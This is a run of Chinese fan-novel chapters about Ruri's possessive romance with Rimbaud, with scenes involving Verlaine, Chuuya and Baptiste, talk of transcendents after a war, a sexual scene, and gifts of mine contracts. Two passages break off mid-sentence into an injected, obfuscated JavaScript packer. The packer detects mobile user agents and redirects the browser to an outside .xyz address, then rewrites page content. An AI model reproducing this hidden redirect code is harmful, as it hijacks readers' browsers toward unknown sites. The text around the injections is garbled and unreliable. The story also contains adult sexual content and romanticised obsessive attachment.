中原中也困惑道:“虽然说之前魏尔伦你也跟我说过实际情况没错了,但为什么你能一口一个爱呢?难道你们从前是那种爱人吗?” 系统紧紧握住并不存在的拳头,好,出现了,是局外人犀利的提问!让统看看兰波跟魏尔伦这两个贱男人到底是什么情况! 从前一口一个男鬼的系统此时此刻对兰波的好感跌倒复数,并试图撺掇琉璃也放下兰波,寻找新的情感寄托之所。 魏尔伦摇摇头,否定道:“不是你想象的爱人,其实我跟兰波之间的情况,琉璃应该是能理解的。” 我微微颔首,注视着小指上的水仙尾戒,与中也解释道:“爱人有时候并不全指世俗意义上的爱人,魏尔伦与兰波是相伴多年的搭档,互相信任彼此的亲友,同样在意彼此乃至于偏执过分的精神爱人。” 这里的爱人,换一个词汇来讲其实大部分人接受程度更好,那就是志同道合的友人。 因为彼此实力、性情相契合,所以精神上高度相同,因为多年相伴,所以情谊深厚,只是后来渐渐走向陌路,有了误会……从前,至少其中一人是这么想的。 因为对方将自己救了出来,将宝贵的名字与自己进行交换,所以托付信任,可却偏偏在托付信任后又因为过往的经历不愿相信人类,却连对方都理解不了而感到痛苦,最后不想让同类也跟自己一样痛苦所以选择反抗,却被对方说不可以,所以感到悲愤……从前,至少其中一人是这么想的。 明明都是渴求着彼此感情的,明明都是渴求彼此能够包容、理解自己的,可最后并肩作战的搭档却兵戎相对,走向陌路。 即便误会解开,重新说清楚当时的想法,但终归不及当年。 中也听得模糊,我见了,却只与魏尔伦对视一笑,而后魏尔伦轻叹道:“我不喜欢人类,甚至称得上憎恶,从前是,如今是,未来仍旧是。” 但有这样一个人,值得我去喜爱人类,值得让我去了解人类,他值得我去肯定人类,我们有过误会,有过冲突,曾经行至末路,可后来再次相见,再次收到兰波的礼物时,魏尔伦方才恍然发觉,自己好像错过了什么。 是爱吗?还是遗憾呢? 遗憾自己错过了这样的一个人吗? 魏尔伦曾经也曾在夜里辗转反侧,独自一人思考,可最后给出的答案,无一例外都是肯定,也无一例外都是否定。 自己跟兰波,最终也只是因为中也的存在点燃了一根火线而已,其实矛盾早就隐藏在深处了,如今,反倒是两人最舒适的相处方式。 “爱人反倒拘束了兰波跟魏尔伦,而且我们定义的爱人,跟中也乃至于普罗大众所定义的爱人大概是不同的。”我见中也越听越迷糊,最后也只是无奈摇头:“总之……现在就是最好的状态了。” 现在就是最美好的大团圆结局了。 被魏尔伦送回庄园后,我方才看见那位只见过两面,一次在横滨,一次在异能测试上的巴蒂斯特先生。 他穿着轻薄的丝绸衬衫,外罩一件与发色一般无二的薄荷绿色短外套,下身穿着马裤和短靴,见了我便挥挥手,笑眯眯道:“是琉璃呀,刚刚兰波还说起你最近对异能力掌控更有心得了呢,我是不是能期待日后跟琉璃成为同僚的一天?” 我将手包随手递给一旁的男仆,而后平静道:“那大概是不可能的,毕竟加入一方势力就要面对许多繁琐之事,而我一向讨厌麻烦。” 巴蒂斯特大笑几声,而后擦了擦眼角的眼泪,轻柔问道:“那兰波当初失去记忆,你将他带回家中,难道就不算麻烦了?” 我沉吟片刻,而后平静道:“兰波是一切的例外。” 任何人,大概都不可能比得过兰波在我心中的地位了,任何人,大概也都不会如兰波一般了解我了。 兰波是一切的例外,是我奉行的行事守则之外的,长久存在的偶然。 14. 偏执 巴蒂斯特的笑声戛然而止,最后情绪不明道:“我一时间不知道该羡慕好,还是该嫉妒好了。” 敏锐察觉到有人注视我,我看向那视线投来之处,见是兰波,方才柔和了神色,笑吟吟道:“兰波,你知道吗?” 兰波顺着立方体铺成的台阶从楼上缓缓走到我身边,听了我说到一般的话便询问:“知道什么?不是跟保罗带中也出门了吗?” 巴蒂斯特想起刚刚兰波那副有气无力的疲倦模样,再看看现在这副容光焕发温柔含笑的模样,抽了抽嘴角。 哥们,你这个双标是不是有点过于明显了?实在不行你把我赶走行吗?你懒得装不要让我在一旁羡慕嫉妒恨啊。 看见兰波,我便下意识忽略了巴蒂斯特,毕竟本来也没什么交集。 “魏尔伦说啊,他跟你是互相错过的爱人哦!”我有些坏心眼跳了出来,我也不打算忍耐,而是得意道:“中也对此很是震惊呢,问了一路都不敢相信。” 兰波失笑,静静看着满是得意的琉璃,看着琉璃,自己的妹妹、爱人就像是恶作剧成功了一般的小猫一样喵喵叫,不免含笑询问:“那琉璃怎么想的呢?” 我本想说出实际的真相,可看见巴蒂斯特在一旁听的来劲,眼睛一转,便笑吟吟坐在沙发上,笑道:“我啊,当然是跟魏尔伦说,我不是为了拆散这个家的,我是来加入这个家的。” 巴蒂斯特一时间有些分不清真假了,但见兰波那副笑吟吟的模样,方才反应过来,这是这位琉璃小姐故意对自己说的。 见巴蒂斯特幽怨看过来,我只当不知,一个疑问的眼神反看回去,见他躲避开,也没放在心上。 徒留被琉璃那透过能模糊容貌的日光闪了一下的巴蒂斯特红了耳朵。 但想起兰波这家伙的敏锐,巴蒂斯特又故作无奈对兰波挤眉弄眼,示意兰波难不成琉璃从前也是这副模样? 兰波只当没瞧见,面上故作狐疑,心里却拉起了警报。 果然……慢慢展露出自身光辉的琉璃即便是外人也不能抗拒……这些试图拆散自己跟琉璃的家伙真是让人厌恶。 巴蒂斯特不觉,只以为自己糊弄了过去,年轻俊美的脸上微微放松,想起刚刚宛若枝叶碎光一般轻轻落在自己身上的眼眸和那透过模糊日光还能清晰瞧出貌美、越发长开的容颜,便忍不住扯了扯衣领下的领带。 或许……兰波可以,他巴蒂斯特也可以? 毕竟刚刚琉璃有一句话说的很对,自己不是来拆散这个家的,是来加入这个家的呀! 巴蒂斯特正想为此付出行动,便看见琉璃与兰波注视彼此时互相包容却饱含偏执的眼瞳。 我对巴蒂斯特没什么恶感,也没什么好感,总体来说因为兰波的原因大概是处在一个陌生朋友的状态,知道名字跟脸,也能对上,但平时没什么联系。 所以我也没关注他,而是与兰波小声说起魏尔伦描述起过往时的暧昧用词。 兰波对此并不惊讶,甚至非常悠闲的将我脱下的外套整理好搭在手上,“保罗一向如此。” 毕竟从前在牧神那里没有自主权的魏尔伦,兰波十分善解人意与我解释:“保罗从前没有与我成为搭档时,用词便有些怪异,后来虽然改了这个毛病,但还是会流露出过去的几分习惯。” 我细细打量着兰波,微微眯着眼笑吟吟询问:“那兰波呢?怎么看待魏尔伦呢?” 兰波敏锐察觉到我的试探,并不难过,反而欣喜道:“是搭档,也是亲友,魏尔伦也是这个意思,只不过表达的不够明确。” 兰波用异空间包围住我与他,而后温柔又坚定的注视着我,“过去是保罗,现在,未来,直到我死去,都只有你,都只有琉璃。” 我凑近仔细去看他,好半晌方才拽着他的头发,轻声说:“不许有人比我的地位更高,谁也不行哦。” 兰波迅速应下,而后又反问我:“那琉璃呢?” 你会一直将我放在第一位吗? 兰波眼中的偏执没有藏好,暴露了出来,我却并不在意,而是得意道:“当然了,你在怀疑什么?尽情的将所有情感都倾注于我身上吧。” 喜怒哀乐,爱恨情仇,你必须将所有的情感都放在我身上,一切人事物都不能比我在你的心里地位更高。 我们的距离极近,近到彼此能察觉到对方的呼吸触及皮肤,兰波的眼中是什么? 欣喜、满足、愉悦。 我呢? 兰波眼中的我是什么样的? 我将兰波的眼睛当成镜子,在兰波的眼中,我是什么样子的? 兰波垂眸,静静看着我,双手护着我,在他的眼中,我似乎沉溺在那颗温柔的心房,在他的心房之中,好像满满当当都是我的位置,而在他的眼中,我好像只是我,只是最真实的、贪婪的我。 系统冷笑道:【哟,又幸福了,男鬼哥?】 兰波轻轻靠在我的肩上,闷声道:“明明说好了要彼此信任,将彼此放在第一位,可为什么你我还会互相猜疑却又互相信任呢?” 我没有开口,轻轻抚摸着兰波的头,抚摸着柔顺的黑色长发,兰波也没有再开口,轻声说了那句话后,便放开了我,我起身坐在兰波身边,兰波将这篇封锁我与他一切言语、行动的亚空间重新打开。 巴蒂斯特困惑道:“你们这是聊了什么?” 兰波平静道:“聊聊过段时日要不要将琉璃带去国际会议上散心,这段时间琉璃一直没有出门,只今天跟保罗出门,但也没多久就回来了。” 我偏头看向兰波,兰波回望过来。 我困惑道:“兰波,你好像对庄园的大小没有概念。” 兰波微微睁大双眼,“怎么会,我的意思是,你一个人肯定会寂寞……” “有兰波,我不会寂寞哦。”我否认道。 兰波再次试图举例:“但没有人陪伴你……” 我摇摇头,再次否认:“有兰波呀。” 兰波最后挣扎道:“可是庄园内太空旷了些,你肯定会觉得无趣……” 就像未来,你一定也会觉得我无趣一样…… 我否认道:“并不会,但是庄园内的确有些空旷,所以我决定了,以后这个家就是我做主了!我想怎么改造,就怎么改造!” 巴蒂斯特在一旁看戏,默默吐槽:“现在不也是你做主,公社里兰波性情大变都是出了名的。” 我只当没听见,兰波却轻笑道:“这里本来就是你做主,想做什么尽管放手去做好了。” 早在最初,这便是在兰波以及兰波周围人所默认之事了,即便从未诉诸于口。 这也是波德莱尔认为兰波被异能力影响或洗脑了的原因之一。 毕竟从前的兰波,那是宁愿多跑一趟去魏尔伦那儿,也不肯让旁人去他那儿的,即便谈公务,在波德莱尔这位老师之外的其他人,也只能守在一楼等待兰波空闲下来。 想上去?抱歉,亚空间被兰堂用到了庄园内哦,能强破的人没那个必要,不能强破的人得罪不起兰波。 所以这个他人眼中的怪习惯便就此保留下来。 直到藤原琉璃被兰波带到法国,并像是昏了头似的做事,这才没了过往被众人默认的禁律。 我开着玩笑:“那就将庄园改成游乐园好了。” 我以为兰波会拒绝,而一旁的巴蒂斯特的确如我意料之中一般露出有些嫌弃的表情:“什么叫改成游乐园啊,庄园改成游乐园有些奇怪吧?” 而兰波,却像是并不知道这是我的玩笑话一般,颔首说:“如果这是你所希望的,那就改好了,我的工资卡在你手里,你随便使用。” 巴蒂斯特在一旁先是一惊,而后瞧见少女亲昵的抱住兰波时的满足模样,又了然了。 怪不得,怪不得两个人亲密的旁人插不进去,原来是因为兰波不管前因后果,只会闭眼溺爱啊! 巴蒂斯特好像学到了什么一样,在一旁静静观察两人的相处。 我一把抱住兰波,而后笑问道:“你听不出来我在开玩笑吗?哥哥?” 兰波同样笑道:“没关系,无论是真心也好还是开玩笑也好,只要你高兴就好。” 兰波似乎在说,我的情绪才是最重要的,只要我满意,什么都不重要。 不得不说,我的确有些暗爽,毕竟这样一个与我心意相通无条件溺爱我的美人与我如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075317|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,任谁来谁能不暗爽?谁能不开心? 我闹了一会儿兰波,这才起身笑道:“我其实只是想种些花花草草之类的,虽然玫瑰很好看,但玫瑰也不是常年开放,一年四季都有鲜花盛开,到时候看看窗外都会让心情变好。” 兰波一如先前般纵容着我:“都好,你做主就是了,家里总归是你做主的。” 兰波看着欢欣的少女,承认自己的确有些恶劣的想法。 如:自己只要一直娇养着琉璃、溺爱着琉璃,日后就不会有人能将琉璃从自己身边夺走之类的。 至于要不要替自己辩解? 兰波觉得没必要。 起了这样的心思就起了,自己行事堂堂正正,并无需要遮蔽之处,就算被人发现,那又如何? 就像琉璃对自己的占有欲自己知道的一清二楚一样,自己对琉璃的偏执与引诱,难道琉璃真的半点不知吗? 送走了只是过来送个消息的巴蒂斯特,而后我拉着兰波回到我的房间,坐在壁炉旁边,听着壁炉之中的木柴被火焰烧的噼里啪啦的细微响声,脱下身上穿着的比甲,跟兰波一样只穿着轻薄的丝绸衬衫。 如今我的衣柜……或者说衣帽间,如今我的衣帽间内大部分都是兰波请人为我定制的衣物,从头到脚就连首饰都被搭配成套,女仆们在询问过我的习惯后,将衣物从轻薄到厚重,从浅到深,从日常到繁琐分类摆放整齐,对我这个偶尔会在奇怪地方有些小小强迫症的人十分友好。 或者说,这样的摆放顺序,没有人会不喜欢。 如果真的有,就忽略他。 当然了,衣帽间内也不仅仅只有定制的衣物,有些是兰波请了适合年轻少女穿着风格的牌子带了成衣上门,还有些是珍贵的、被兰波收藏的首饰,剩下一小部分才是我偶尔看见喜欢买回来的衣物。 至于首饰,我对其观感平平,有的话就戴,没有的话就不戴,即便是简单的耳针,我挑剔的也只是材质而并非耳针本身。 浅鹅黄色的半裙垂落在脚边,我正色道:“什么叫国际会议?战争彻底结束了?” 兰波轻声与我说着能说的部分。 不过在兰波心中,没有什么是自己亲爱的妹妹,惹人怜爱的琉璃不能听的,所以我空手套白狼,一句话就成功拿到了一份珍贵的情报。 原来,自从那七位超越者绑架了各个国家的话事人后,不出一月,战争便在各国的努力下进入了尾声,而那七位超越者中,俨然便有雨果。 “不过雨果本身也是革命主义,所以他这么做我们也不奇怪。”兰波如是道。 想起那位浅紫色头发,虽然面上带笑但却极有压迫感的巴黎公社领头人,我质疑道:“确定是他露了马脚而不是他主动被你们发现吗?” 总感觉这种人放到动漫里是能从始贯彻至终的大boss级人物,怎么就这么暴露了? 兰波轻笑:“我从始至终也没有说是我们发现的马脚呀。” 原来,那七位超越者都是极为厌战之人,所以从始至终都没有遮掩身份,堪称光明正大截走了人,直到战争结束方才各回各国各找各妈。 我惊了,超越者都这么牛的?绑架一国最高话事人都还这么光明正大的? 兰波解释道:“因为超越者本身的身份就是一层保护伞了。” “超越者,本身就是近百余年才出现的存在,寻常异能力者,尚能找到可以替代之人,可超越者不行。” 兰波轻声说着那些我不曾知晓的秘辛。 “每一位超越者,都拥有无可被替代的能力,而每一位超越者预备役,则拥有这样的潜力,如同你,如同我。” 兰波召唤出一个被自己放在亚空间保存的人偶,被异能力操控,嘴里还抽着烟的女人瞥了我一眼,而后平静道:“哟,情妹妹啊?” 兰波轻咳两声,将人偶收回,对红了脸的少女解释道:“我的异能力是能够将其他人变成异能力的存在,同时可以读取尸体的记忆、可以操控亚空间控制、保护、收容他人。” “超越者之中,可以找到与我能力类似之人,但绝对不会有人能完全替代我。”兰波的自傲是不必表现,便能被人所察觉的。 15. 观念 我不大理解,就算这样,但是难道就能轻飘飘揭过这一篇吗? 兰波给了我肯定的回答,是的,就是能这么轻飘飘的揭过这一篇。 原因自然也十分简单。 “战争本身持续时间过久是一个原因,另一个原因自然是因为每个超越者都足够珍贵。”兰波教导着妹妹,并不打算让自己亲爱的妹妹成为一个被豢养在笼子里的高歌的金丝雀。 那了解超越者与国家之间的平衡自然就是必须提上日程的事。 “从前我应当也说过,超越者与异能力者的区别,而异能力者也的确有可能成为超越者,但那只是极小一部分。” 我认真听着兰波的私人一对一辅导课,兰波也毫无保留与我说着超越者们默认的事。 “超越者们不可替代,但在异能力者们繁衍后代后,许多人发现异能力者们的孩子有极小的概率会遗传来自父母其中一方的异能力,一模一样的异能力。”兰波任由妹妹将自己的头发抓去大半编成辫子,半点都没有阻拦的意思。 “而正因如此,所以在察觉到这点后,各国……”兰波顿了顿,将某个东方国家单独拎了出来:“除了花国之外的各国,尤其是拥有超越者的国家,对于超越者们的感情生活则更为关注。” 什么?花心多情?那你真的好样的!快!生个孩子出来!只要能有个继承你能力的,那就赚了! 什么?你克制情欲?是不是有谁在你耳边说了什么不该说的?!是谁!拉出来杀鸡儆猴! “超越者们的感情生活被关注,被催促生育后代,而我们本身能够被重视,被厚待而不是当作人性武器的根本原因就是因为能力无可替代。”兰波轻声说:“所以真正相信国家言语的一个也没有,从前很多钟爱一夜情的超越者也洁身自好,和花国人学会了寻找爱好来填满枯燥的生活。” 花国人不一样,他们的国家就算不催促,那边的超越者对于结婚生子似乎也并没有什么反感,很大一部分超越者都在找到能共度一生的存在后选择了结婚、生育子女,所以除了早期花国被打的措手不及外,等花国反过神来后正侵略花国的远东就彻底成了个小丑,毕竟花国实力底蕴是真的很强。 在如今各国超越者都不愿意有一个后代顶替自己的情况下,花国那不断代的超越者新生代更是让各国都在衡量过后选择了拉拢而不是为敌。 “那雨果先生也是因为这个原因所以才……”我好奇的看着兰波。 兰波摇头否认:“雨果本身就是革命主义兼反战人士,他能挺到如今才选择这么做,已经让我们很惊讶了。” 懂了,这家伙就算是个异能力者都敢这么干,是超越者只是更有底气了而已,毕竟也没人对一个超越者判刑。 见我终于知晓这些后,兰波方才下了定论:“雨果就算暂时卸下身上的社长一职,三五年之后也就回去了,其他六位超越者也是一样的。” 毕竟没有死伤,而且自家的超越者自家宝贝,之后私下怎么惩罚那也是自家的事,要是被旁人指指点点,大国脸面何在? 什么?你说被绑架了本身就没有脸面可说? 荒谬! 大家都被绑架了,那就等于大家都没被绑架,大家都没被绑架又哪有什么脸面之说呢? 什么?有小国表示抗议? 小国没有话语权。 对于巴黎公社与雨果,兰波表示并不用担心,就算上面惩罚雨果,顶天也就是一段时间内不能离开法国而已。 “就像是保罗当年刺杀英国女王一样,就算被钟塔侍从通缉,也不过是一段时间之内不能离开法国而已,没什么大不了的。”见过大世面的兰波对此并不在意。 我见兰波如此,便也学着兰波的模样放下这件事,转而问起兰波国际会议的详情。 “就是战胜国对战败国所求战利品的会议而已,超越者们前往其实只是为了证明各国的底蕴已经作为威慑敌方的吉祥物而已。”兰波并不在意这件事,毕竟法国身为战胜国,即便要跟其他几个大国分享战利品,可那也自有旁人去交涉,“如果琉璃想去的话,那就去,如果不想去,那就不去。” 我其实有些犹豫,如果去了,其实也没什么我熟悉的人,如果不去,也不过就是在庄园里静静训练,偶尔闲逛罢了。 去与不去,都是无所谓的。 兰波见状,便提议道:“到时候应该会有些年轻的同龄小辈,你……” 兰波说着说着,突然察觉不对,如果琉璃是小辈,那与琉璃相爱的自己又算是什么呢? 见兰波停顿,我先是困惑,而后又恍然大悟,笑着安抚兰波:“兰波今年也才二十岁出头罢了,我与兰波也只不过相差六岁而已呀。” “你无需自卑,更无需懊恼,因为你带给我的是独一无二,此世仅有的爱意,而我回报给你的是无论何时何地都不会独留你一人的承诺,与你永远是我心中首位的保证。” 兰波极白,我与兰波站在一起,兰波是冷淡的雪白,我是温润的瓷白,细论起来我是比不上兰波更白的。 当他垂落眼睫时,纤细浓密的睫毛就像是蝴蝶破碎的翅膀一样,投落倒影在他眼下,在他如雪般冷白的面庞上。 兰波是极喜欢笑的一个人,但当他钻进牛角尖时,却变得冷漠又忧郁,似乎和我在一起,他的快乐、开心都是短暂的,忧郁与自卑才是长久的。 “可是,兰波。”我啄吻着兰波温凉的唇,弯眼看向他,看向这个如今在我心里,早已经不再是从前那个可以被我利用被我玩弄的家伙。 “任何人在爱情之中都是平等的,你的自卑是对我的指责,你看看我,我像是你爱我一样,永远爱着你,我与你,我们两个,是平等的爱着彼此。” 说着,我竟不知不觉间落下眼泪,泪珠变做珍珠,横亘在我与兰波身体之间,似乎非要在我与他之间留下属于自己的痕迹一般,久久不曾掉落在地。 我与兰波拥抱着彼此,兰波将我脸上的泪水擦去,轻声说:“我只是担心,你总会看见更广阔的天地,到那个时候,你还会一直记着我与你的承诺吗?” 你还会回来吗?还会将我放在心中的第一位吗?还会无条件的偏爱我吗? 还会爱我吗? 兰波并未说出口的,都被我一一给出答复,明明我们两个都不是第一次接触爱情,明明无论是他也好还是我也好,我们都曾拥有过恋人,可当来到这里,遇见彼此后,我们竟然不约而同自卑起来。 爱会让人变成更优秀的自己,但对我与兰波而言,似乎我们两个总是时常自卑、内耗。 “这是正常的吗?”我如此询问兰波。 而眼中忧郁与藏匿在深处的自卑转变为对我的担忧后,听见我询问的兰波方才恢复如常。 “我不清楚。”兰波没有一如既往给出我想得到的肯定答案,而是轻轻摇头,用那双永远注视着我时包含怜爱之意的双眸与我说:抱歉,亲爱的,我也不曾知晓。 “但是……”兰波轻轻牵起我的手,放在了他带着暖意的脸庞上,对我眨眨眼:“我想我们可以一同探索,就像是……我们对彼此的许诺一样。” 永远信任彼此,永远包容彼此,永远深爱彼此,永远将彼此放在首位。 永远的诅咒着彼此,若是违背承诺,堕入地狱永受折磨。 待我与兰波整理好情绪,我方才想起刚刚兰波的询问,而后看向因为落泪而还微红着眼的兰波:“如果兰波不在我身边时,我选择与他人短暂抚慰彼此,兰波会生气吗?” 我不是一个会一心一意的人,但我也绝对不会放下兰波,那如果日后我与其他人互相抚慰,那兰波会如何想呢? 我并不想隐瞒兰波,便索性将这个可能摆在兰波面前,询问兰波如何想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075318|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这方面,兰波似乎再次拥有了法国,或者说欧洲绝大多数古老国家都包含的特质,那就是:“只要你不带到我面前与对方亲昵接触,那就将对方当成一个能逗你开心的小玩意好了。” 在这方面,兰波拥有超出旁人所能理解的大度:“从前的我也同样拥有情人,琉璃从不曾询问过我,也不曾在意过这一点。” 兰波指着自己轻笑道:“那我也不能困住你,你我彼此相爱,你将我视作父兄、亲友、爱人、师长,同样,我也如此。” “不会嫉妒吗?”我困惑道:“虽然我的确不会让任何可能出现的情人到兰波的面前让你不快,但兰波,爱我的话,难道不会嫉妒吗?” “会的。” 兰波抱着我,与我一同看向窗外在花匠侍弄下成片盛放的玫瑰,在我耳旁轻叹道:“我一定会嫉妒的,但琉璃会开心吧?” 兰波轻笑道:“琉璃在没有我的陪伴下,挑选合心的情人抚慰自己,一定能缓解寂寞吧?” 我默认了,却并没有开口说话。 轻薄的纱帘被微风吹起,兰波的吻落在我的脖颈之上。 “如果琉璃能够开心的话,那就已经比任何事都要重要了。”兰波的呼吸烫的我瑟缩一下,但那原本被兰波亲吻的皮肤却又被他轻轻咬着,我被迫停下动作,兰波又放开,将轻轻开启的玻璃窗关上,边向柔软的大床走去,边说:“在我没有陪伴琉璃的时候,能够让琉璃展露笑颜,便已经比任何事都重要了。” 兰波的老师是年轻时经常混迹在红灯区的波德莱尔,所以对感情的观念也与旁人不同。 “我会为琉璃守身,因为这是我自愿的,可琉璃不必在意旁人所说的贞洁、操守,更不必顾及我,琉璃如果开心,那我无论如何,都会选择支持琉璃。”兰波说着在寻常人眼中离经叛道的话。 即便是我,也听的一愣一愣的。 我心里想过兰波可能最后会妥协,也可能会拒绝,但我没想到兰波竟然挣扎都没有,与我甚至都没有吵嘴,便愉快接受了我是个花心滥情之人的事实,接受了我未来可能会有情人的可能。 与琉璃设想的不一样,在兰波心里,琉璃能将这样的事都告知自己,证明琉璃是真切的将自己视作最重要的人,所以才会将不会与爱人说的告知自己。 而在兰波所接受的教育中,从前许多法国的贵族、商人都拥有情人,而自己的妹妹琉璃难道还比不过那些贵族与商人吗? 琉璃值得最好的,自己只需要在琉璃想谈情说爱时,变为爱人,在想要学习知识时成为师长,想与有人倾诉心事时成为友人,想要得到父兄支持时作为靠山就好了。 兰波自己心甘情愿为琉璃守身,毕竟从前他对于欲望也并没有十分看重,如今能够在守身之时想起妹妹,这简直就是嘉奖。 但兰波并不认为琉璃要被自己束缚,自己不能束缚琉璃,旁人亦然。 “只要琉璃最后还愿意再看看我,心里还记得我,我便能够发自内心笑出来了。” 兰波轻轻将我压在床上,单手解开我身上的扣子,啄吻着我的脖颈。 我注视着兰波,注视着他身上的汗水滴落在我身上,他似是欢愉,似是痛苦,脱下衣裳后看似清瘦实则被薄肌覆盖的身体显露在我面前,任由我抚摸,玩弄。 窗外不知何时下起雨来,原本只我一人休息时才会独占的床有了另一人的痕迹,可我却并没有那生活被外人打扰的不满与愤怒,相反的,我心中只觉满足。 我在拥有着兰波,兰波也在拥有我。 他包容了我的一切,我的好被他当成绝无仅有的优点宣扬,我的坏在他眼中也成为了可爱的优点,我的贪婪被他认为不够大胆,我的多情被他所包容…… 他似乎能包容所有的我。 他似乎从不会因为旁人眼中的坏处而放弃我。 世间还有谁能如此呢? 16.财富 傍晚醒来,我身上干爽,床上的一应物件也都被更换成新的,兰波借着床头柜的微弱灯光似乎正在书上写着什么。 但我不过才静静看了一会儿,兰波便敏锐察觉,将书与笔随手放在一旁,小声询问:“有哪里不舒服吗?我特意买了消炎的药膏,需要帮忙吗?” 兰波很担心琉璃,毕竟欧洲人跟亚洲人的体型有些差距,虽然琉璃自从成年后也没有停止发育,如今已经超过了一米七,但兰波还是担心自己会不会哪里做的不够好…… 毕竟有经验跟实际会不会出现问题是两码事。 我尝试起身,而后用手扶着腰,轻叹道:“腰有些酸痛……或许我们需要克制一些。” 本身我便不是什么喜欢经常运动锻炼身体的人,成了鲛人有了兰波督促跟波德莱尔偶尔检查后,虽然将训练提上了日程,但也跟兰波这种长年累月都保持训练的家伙比不了。 兰波见我一切都好,便让我趴在床上,起身从一旁摆放各种功效不同的精油柜里拿出一小瓶精油,边为我按揉,边温声应道:“都随你,我说过了,这个家里是你做主的。” 我将脸放在枕头上,闷笑道:“我知道,但是兰波是我的爱人啊,这种事如果还独裁决定的话,那兰波大概会哭出来吧?” 我看不见兰波的表情,但能听出兰波言语之中的放松与笑意:“是呀,我会特意跑到琉璃面前哭出声,祈求琉璃怜爱我的。” 待按摩过后,兰波方才询问:“肚子饿吗?要不要吃晚餐?” 我转过身看向与我一样穿着睡衣的兰堂,总觉得有些没睡够,但又不打算将好不容易将调整过来的时差因为这样的事而混乱,便问兰波:“有没有甜点?肚子不太饿,但我还想吃些什么。” 兰波肯定道:“当然有。” 说着,兰波便走到门边,用复古样式的座机电话让人送了些甜品上来。 大约十分钟左右,莉诺女士便推着一辆精巧的甜品车走了进来,对于兰波在我房间停留并没有说什么,而是将甜品车推到床边任由我选择。 见莉诺女士守在一旁打算为我服务,我其实不太习惯,兰波散着头发对莉诺女士吩咐:“去门外等候吧,我来照顾琉璃。” 莉诺女士如今负责照顾的人是我,所以在听到兰波的话后,还是先看向我,在我点头后方才缓缓退出。 法国的甜品,或者说大部分甜品,无论是我原本的世界还是这里,对我而言都是偏甜的,但兰波十分熟悉我喜爱的甜度,所以厨师们做的甜品也从来都是最适合我的甜度,即便吃的多一点,却也不会发腻。 说是照顾,但我并不喜欢吃东西的时候还要有人在一旁看着,所以兰波也只是坐在我身边轻声说着庄园内空旷的地方要做些什么。 “要不要种些樱花桃花一类的花树?”兰波如此询问。 我肯定道:“要的,樱花桃花梅花、还有很多,我都要!” 贪心的人是这样的,只需要尽情幻想就够了,但负责实际规划的人需要考虑的就多了。 等我垫过肚子没有再碰甜点后,兰波方才将甜品车推了出去,刷过牙又洗了脸后,我方才继续跟兰波腻在一起小声讨论庄园内都要新添置些什么。 我与兰波都是不缺钱的,兰波更是如此。 他从前也与我说,少年时他便被波德莱尔带在身边,波德莱尔的继父从军,希望波德莱尔从政,最初波德莱尔跟这个继父因为这件事还争论过几次,可等到波德莱尔成为超越者后,反倒理解了自己的继父,而波德莱尔的母亲是商人出身,军商结合,感情也很不错,而并没有结婚打算的波德莱尔对自己唯一的学生兰波可谓是再重视不过。 像是这座庄园,最初便是波德莱尔赠送给兰波的成年礼。 “波德莱尔是很护短的人。”兰波轻笑道:“虽然对人看上去冷漠,但也是因为异能力的原因,实际上只要跟他熟悉后,能被波德莱尔当作自己人,方才能察觉出波德莱尔的偏爱。” 我想想自己更新速度极快的训练菜单,而后皱着眉苦着脸叹道:“感觉自己不是被偏爱了,是被当成战士训了。” 兰波摸了摸我的头,“因为波德莱尔是坚定的原教徒派,他认为自身实力永远比外来实力要强,而如果细论,异能力虽然是自身的能力,但是个人的体能、思维、身手都是能够直接影响异能力的。” 我长叹道:“但是真的很累……不过波德莱尔的脸足以让每个人在看到他的时候就消气了吧?” 比如我,比如我,比如我。 兰波似笑非笑瞥了我一眼,而后只当没听见这话,继续说:“先前本来也想赠你一座庄园,但我离不开你,所以……” 兰波从一旁的床头柜上拿起了一沓印满文字的纸递到我手里。 我接过后,兰波在一旁一一介绍:“这是钻石矿,这是宝石矿,还有这个是水晶矿,这边还有金矿……” 前面五六张都是各种珍贵珠宝的矿产,兰波却告诉我:“宝石钻石本身并不珍贵,它们被名人佩戴,而后才拥有了高昂的价格,美丽的外表与优秀的切割工艺是它们如今依旧能被人追捧的原因。” “这些矿产出产的存在里,你可以将感兴趣的挑走,让人送去制作珠宝或珍藏,金矿虽然不大,但大金矿一般都被国家持有。”兰波指了指我手中金矿转让的合同:“虽然小了些,但勉强也能作为你的财产被你掌控。” 除却这些矿产外,兰波又轻轻将后面还不曾被我翻看的合同拿到前面,介绍道:“前面的都是珠宝类矿产,这后面的是煤矿以及各种股份,我并不涉及基金股票,所以能送给你的也只有这些,至于古董,我也并不喜欢收集,如果你需要的话……” 我将手放在兰波的嘴上制止道:“足够了,这太多了,我从来都没有学习过如何处理这些……” 我并没有拒绝兰波的赠与,而是困扰于我要如何管理。 掌心一片濡湿,我将手收回来,怒视兰波,兰波弯眼笑道:“多谢款待~” 见我生气,兰波将脸放到我面前,盯着我柔声哄到我不生气为止,而后方才道:“为什么要管理?能被一位超越者收入麾下,足以让大多数势力选择交好,而这样稳定的庇护,只要下面还能有聪明人,就不会选择糊弄你,你需要做的,只是静静等待财富聚集。” 其余的勾心斗角、阴谋诡计,并不是无需知晓、无需学习,而是不必将心思放在这些小事上。 